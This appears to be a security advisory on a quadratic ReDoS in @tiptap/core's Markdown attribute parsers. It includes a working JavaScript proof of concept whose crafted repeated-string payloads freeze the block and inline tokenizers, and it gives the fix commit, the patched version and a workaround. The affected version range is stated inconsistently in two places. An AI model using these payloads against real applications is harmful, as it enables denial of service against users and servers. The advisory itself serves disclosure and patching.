highSep 8, 2026

@tiptap/core Quadratic ReDoS in Markdown Attribute Parsing

Rohit Hatagale
AI Security Researcher, SecureLayer7

Two regular expressions in @tiptap/core's Markdown parsers have quadratic backtracking behavior, letting an attacker freeze a browser tab or stall a Node.js server with a few kilobytes of crafted…

Package@tiptap/core
Ecosystemnpm
Affected>= 3.7.0, < 3.30.5
Fixed in3.30.5
@tiptap/core Quadratic ReDoS in Markdown Attribute Parsing

The problem

Versions 3.7.0 through 3.29.2 of @tiptap/core ship two vulnerable Markdown attribute parsers. The block-attribute parser in attributeUtils.ts uses /([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g without anchoring. The inline shortcode parser in createInlineMarkdownSpec.ts uses /(\w+)=(?:"([^"]*)"|'([^']*)')/g, also unanchored.

Both expressions are called on attacker-controlled strings. At 20 KB of crafted input, the block tokenizer takes ~1.4 seconds. At 32 KB, the inline tokenizer takes ~2.2 seconds. Because backtracking is quadratic, doubling the input roughly quadruples the parse time, making denial of service practical with small payloads.

Proof of concept

A working proof-of-concept for this issue in @tiptap/core, with the exact payload below.

javascript
// Block (atom-block) attack — freezes the tokenizer
import { createAtomBlockMarkdownSpec } from '@tiptap/core'

const tokenizer = createAtomBlockMarkdownSpec({ nodeName: 'probe' }).markdownTokenizer
const attack = '__QUOTED_0'.repeat(2048) + '__QUOTED_0__'
const source = `:::probe {${attack}} :::\n`

const t0 = performance.now()
tokenizer.tokenize(source, [], {})
console.log('block ms:', performance.now() - t0)  // ~1 400 ms at 20 508 bytes

// Inline shortcode attack — freezes the tokenizer
import { createInlineMarkdownSpec } from '@tiptap/core'

const inline = createInlineMarkdownSpec({ nodeName: 'probe', selfClosing: true }).markdownTokenizer
const src2 = `[probe ${'0'.repeat(32768)}]`

const t1 = performance.now()
inline.tokenize(src2, [], {})
console.log('inline ms:', performance.now() - t1)  // ~2 200 ms at 32 776 bytes

For the block parser, the greedy key pattern [a-zA-Z][\w-]* consumes the entire remaining word-character run at each position. When no = follows, the unanchored engine restarts one character later and repeats the scan, producing O(n^2) work across the repeated __QUOTED_0 prefix string.

For the inline parser, \w+ does the same thing: it eats the entire suffix, = fails, and the engine restarts one character forward, again quadratic.

The fix (commit d0d499be3cce633cf54ca9aa9f3d8a5a1f98bd74) adds start-of-string or whitespace boundary anchors before both key-value patterns so the engine cannot restart mid-string, reducing complexity from O(n^2) to O(n). This is CWE-1333 (Inefficient Regular Expression Complexity) and CWE-400 (Uncontrolled Resource Consumption).

The fix

Upgrade @tiptap/core to **3.30.5** or later. The fix is in commit d0d499be3cce633cf54ca9aa9f3d8a5a1f98bd74. If you cannot upgrade immediately, avoid passing attacker-controlled Markdown through createAtomBlockMarkdownSpec, createBlockMarkdownSpec, or createInlineMarkdownSpec.

Editors that consume only validated ProseMirror JSON and never invoke the Markdown parsing path are not affected.

Reported by joostgrunwald.

References: [1][2][3][4]

Related research